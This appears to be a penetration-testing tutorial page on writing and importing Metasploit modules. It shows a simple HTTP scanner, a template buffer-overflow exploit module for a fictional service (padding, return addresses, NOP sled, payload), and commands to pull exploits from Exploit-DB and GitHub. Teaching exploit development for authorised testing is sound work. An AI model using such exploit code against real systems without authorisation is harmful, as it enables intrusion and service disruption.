Skip to content

✍️ Writing & Importing Modules

While Metasploit ships with thousands of modules, you'll often need to import third-party exploits (e.g., from Exploit-DB) or write your own custom modules for unique vulnerabilities discovered during engagements.


1️⃣ Module Directory Structure

Custom modules go in ~/.msf4/modules/, mirroring the framework's directory structure:

~/.msf4/modules/
├── exploits/
│   └── custom/
│       └── my_exploit.rb
├── auxiliary/
│   └── scanner/
│       └── my_scanner.rb
└── post/
    └── windows/
        └── my_post_module.rb

Tip

Never edit modules in /usr/share/metasploit-framework/modules/ — updates will overwrite your changes. Always use ~/.msf4/modules/.


2️⃣ Writing a Basic Auxiliary Scanner Module

Here's a minimal auxiliary scanner that checks if a web server returns a specific string:

# ~/.msf4/modules/auxiliary/scanner/http/my_web_scanner.rb

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom Web Scanner',
      'Description' => 'Checks if a web server contains a specific string in its response.',
      'Author'      => ['YourName'],
      'License'     => MSF_LICENSE
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The path to check', '/']),
      OptString.new('SEARCH_STRING', [true, 'String to search for', 'admin']),
    ])
  end

  def run_host(ip)
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path),
      })

      if res && res.body.include?(datastore['SEARCH_STRING'])
        print_good("#{ip} - Found '#{datastore['SEARCH_STRING']}' in response!")
        report_vuln(
          host: ip,
          name: 'Custom Finding',
          info: "String '#{datastore['SEARCH_STRING']}' found at #{datastore['TARGETURI']}"
        )
      else
        print_status("#{ip} - String not found.")
      end
    rescue ::Rex::ConnectionError
      print_error("#{ip} - Connection failed.")
    end
  end
end

Key Points

Element Purpose
include Msf::Exploit::Remote::HttpClient Provides send_request_cgi for HTTP requests.
include Msf::Auxiliary::Scanner Provides multi-threaded scanning (RHOSTS, THREADS).
include Msf::Auxiliary::Report Provides report_vuln, report_host, etc. for database integration.
register_options Defines configurable options (shown in show options).
run_host(ip) Called once per target host (provided by the Scanner mixin).

3️⃣ Writing a Basic Exploit Module

A minimal remote exploit module structure:

# ~/.msf4/modules/exploits/custom/my_exploit.rb

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom Buffer Overflow',
      'Description' => 'Exploits a buffer overflow in CustomService v1.0.',
      'Author'      => ['YourName'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['win'],
      'Arch'        => [ARCH_X86],
      'Targets'     => [
        ['Windows XP SP3', { 'Ret' => 0x7c9d30d7 }],   # JMP ESP in ntdll.dll
        ['Windows 7 SP1',  { 'Ret' => 0x7c347f98 }],
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2024-01-01'
    ))

    register_options([
      Opt::RPORT(9999),
    ])
  end

  def check
    # Optional: non-destructive vulnerability check
    connect
    banner = sock.get_once
    disconnect

    if banner && banner.include?('CustomService v1.0')
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    buf  = "A" * 2606                       # Padding to reach EIP
    buf += [target['Ret']].pack('V')        # Overwrite EIP with JMP ESP address
    buf += make_nops(16)                    # NOP sled
    buf += payload.encoded                  # The payload (shellcode)

    print_status("Sending exploit buffer...")
    sock.put(buf)

    handler
    disconnect
  end
end

4️⃣ Importing Third-Party Modules

From Exploit-DB / SearchSploit

# Search for an exploit
searchsploit apache 2.4.49

# Copy the exploit to your modules directory
searchsploit -m exploits/linux/remote/50383.rb
cp 50383.rb ~/.msf4/modules/exploits/custom/

# Reload modules in MSFconsole
msf6 > reload_all

# Or just update the module cache
msf6 > loadpath ~/.msf4/modules/

From GitHub

# Clone or download the .rb file
wget https://raw.githubusercontent.com/author/repo/main/exploit.rb \
  -O ~/.msf4/modules/exploits/custom/exploit.rb

# Reload in MSFconsole
msf6 > reload_all

Note

After adding new modules, always run reload_all in MSFconsole. The new modules won't appear in search results until the cache is rebuilt.


5️⃣ Testing Your Module

# Load and test your module
msf6 > use exploits/custom/my_exploit
msf6 > info                    # Verify metadata is correct
msf6 > show options            # Verify options are registered
msf6 > check                   # Test the check method
msf6 > exploit                 # Run the exploit

Debugging

# Enable verbose logging for debugging
msf6 > set VERBOSE true

# Check for Ruby syntax errors before loading
ruby -c ~/.msf4/modules/exploits/custom/my_exploit.rb

6️⃣ Gotchas

Note

Module path must mirror the framework structure. An exploit module placed in ~/.msf4/modules/auxiliary/ will fail to load because Metasploit expects the class to match the directory.

Note

Ruby version compatibility. Metasploit uses a specific Ruby version. If you import a module written for an older version of the framework, it may require modifications to work with the current API.

Note

Always review third-party modules before running them. A malicious module could execute arbitrary code on your machine. Read the Ruby source and understand what it does before loading it.

Note

Module rank matters. Set the Rank appropriately — Metasploit uses it to warn users about unreliable exploits. Don't set ExcellentRanking unless your exploit truly won't crash the target service.


Warning

Custom exploits can cause crashes, data corruption, or denial-of-service on target systems. Always test in a controlled lab environment before using against production targets.